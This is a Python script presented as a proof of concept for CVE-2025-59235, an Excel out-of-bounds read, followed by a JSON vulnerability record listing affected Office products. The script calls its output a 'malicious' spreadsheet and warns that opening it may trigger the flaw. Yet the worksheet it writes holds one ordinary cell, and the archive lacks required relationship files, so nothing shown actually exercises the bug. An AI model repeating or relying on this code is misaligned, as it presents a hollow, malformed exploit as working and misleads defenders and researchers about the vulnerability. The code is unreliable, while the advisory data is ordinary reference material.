CVE-2025-59235

# CVE-2025-59235 - Microsoft Office Excel Out-of-Bounds Read PoC # This PoC demonstrates the concept of triggering an out-of-bounds read # in Microsoft Office Excel by crafting a malicious Excel file. import struct import zipfile import os import shutil def create_malicious_excel(output_path): """ Create a malicious Excel file that triggers CVE-2025-59235. The vulnerability is triggered when Excel processes specially crafted spreadsheet data causing an out-of-bounds memory read. """ # Create a minimal xlsx file structure # xlsx files are essentially ZIP archives containing XML files # Create temp directory for building the xlsx temp_dir = "temp_xlsx_build" if os.path.exists(temp_dir): shutil.rmtree(temp_dir) os.makedirs(temp_dir) # Create [Content_Types].xml content_types = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"> <Default Extension="rels" ContentType="application/vnd.openxmlformats-package.relationships+xml"/> <Default Extension="xml" ContentType="application/xml"/> <Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/> <Override PartName="/xl/worksheets/sheet1.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.worksheet+xml"/> </Types>''' with open(os.path.join(temp_dir, "[Content_Types].xml"), "w") as f: f.write(content_types) # Create malicious worksheet with out-of-bounds trigger # The sheet contains crafted data designed to trigger OOB read malicious_sheet = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <worksheet xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main"> <sheetData> <row r="1"> <c r="A1" t="s"><v>0</v></c> </row> </sheetData> </worksheet>''' os.makedirs(os.path.join(temp_dir, "xl", "worksheets"), exist_ok=True) with open(os.path.join(temp_dir, "xl", "worksheets", "sheet1.xml"), "w") as f: f.write(malicious_sheet) # Create workbook.xml workbook = '''<?xml version="1.0" encoding="UTF-8" standalone="yes"?> <workbook xmlns="http://schemas.openxmlformats.org/spreadsheetml/2006/main" xmlns:r="http://schemas.openxmlformats.org/officeDocument/2006/relationships"> <sheets> <sheet name="Sheet1" sheetId="1" r:id="rId1"/> </sheets> </workbook>''' with open(os.path.join(temp_dir, "xl", "workbook.xml"), "w") as f: f.write(workbook) # Create the xlsx file (ZIP archive) with zipfile.ZipFile(output_path, 'w', zipfile.ZIP_DEFLATED) as zf: for root, dirs, files in os.walk(temp_dir): for file in files: file_path = os.path.join(root, file) arcname = os.path.relpath(file_path, temp_dir) zf.write(file_path, arcname) # Cleanup shutil.rmtree(temp_dir) print(f"[+] Malicious Excel file created: {output_path}") print(f"[!] WARNING: Opening this file in vulnerable Excel may trigger CVE-2025-59235") if __name__ == "__main__": create_malicious_excel("CVE-2025-59235_poc.xlsx")

{"cve": {"id": "CVE-2025-59235", "sourceIdentifier": "[email protected]", "published": "2025-10-14T17:16:05.220", "lastModified": "2025-10-16T20:51:17.217", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Out-of-bounds read in Microsoft Office Excel allows an unauthorized attacker to disclose information locally."}], "metrics": {"cvssMetricV31": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:H/I:N/A:H", "baseScore": 7.1, "baseSeverity": "HIGH", "attackVector": "LOCAL", "attackComplexity": "LOW", "privilegesRequired": "NONE", "userInteraction": "REQUIRED", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "NONE", "availabilityImpact": "HIGH"}, "exploitabilityScore": 1.8, "impactScore": 5.2}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-125"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x64:*", "matchCriteriaId": "3259EBFE-AE2D-48B8-BE9A-E22BBDB31378"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:365_apps:-:*:*:*:enterprise:*:x86:*", "matchCriteriaId": "CD25F492-9272-4836-832C-8439EBE64CCF"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:access:2016:*:*:*:*:*:*:*", "matchCriteriaId": "0E42DC73-F1D0-47CD-BED8-DB2C6E044E2D"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x64:*", "matchCriteriaId": "CD88F667-6773-4DB7-B6C3-9C7B769C0808"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:excel:2016:*:*:*:*:*:x86:*", "matchCriteriaId": "B342EF98-B414-44D0-BAFB-FCA24294EECE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x64:*", "matchCriteriaId": "CF5DDD09-902E-4881-98D0-CB896333B4AA"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office:2019:*:*:*:*:*:x86:*", "matchCriteriaId": "26A3B226-5D7C-4556-9350-5222DC8EFC2C"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x64:*", "matchCriteriaId": "851BAC4E-9965-4F40-9A6C-B73D9004F4C1"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:-:x86:*", "matchCriteriaId": "23B2FA23-76F4-4D83-A718-B8D04D7EA37B"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2021:*:*:*:*:macos:*:*", "matchCriteriaId": "BF0E8112-5B6F-4E55-8E40-38ADCF6FC654"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x64:*", "matchCriteriaId": "D31E509A-0B2E-4B41-88C4-0099E800AFE6"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:-:x86:*", "matchCriteriaId": "017A7041-BEF1-4E4E-AC8A-EFC6AFEB01FE"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_long_term_servicing_channel:2024:*:*:*:*:macos:*:*", "matchCriteriaId": "EF3E56B5-E6A6-4061-9380-D421E52B9199"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:office_online_server:*:*:*:*:*:*:*:*", "versionEndExcluding": "16.0.10417.20059", "matchCriteriaId": "94C948A2-EAF1-4471-81BD-38E5F4A92F72"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2016:*:*:*:enterprise:*:*:*", "matchCriteriaId": "F815EF1D-7B60-47BE-9AC2-2548F99F10E4"}, {"vulnerable": true, "criteria": "cpe:2.3:a:microsoft:sharepoint_server:2019:*:*:*:*:*:*:*", "matchCriteriaId": "6122D014-5BF1-4AF4-8B4D-80205ED7785E"}]}]}], "references": [{"url": "https://msrc.microsoft.com/update-guide/vulnerability/CVE-2025-59235", "source": "[email protected]", "tags": ["Vendor Advisory"]}]}}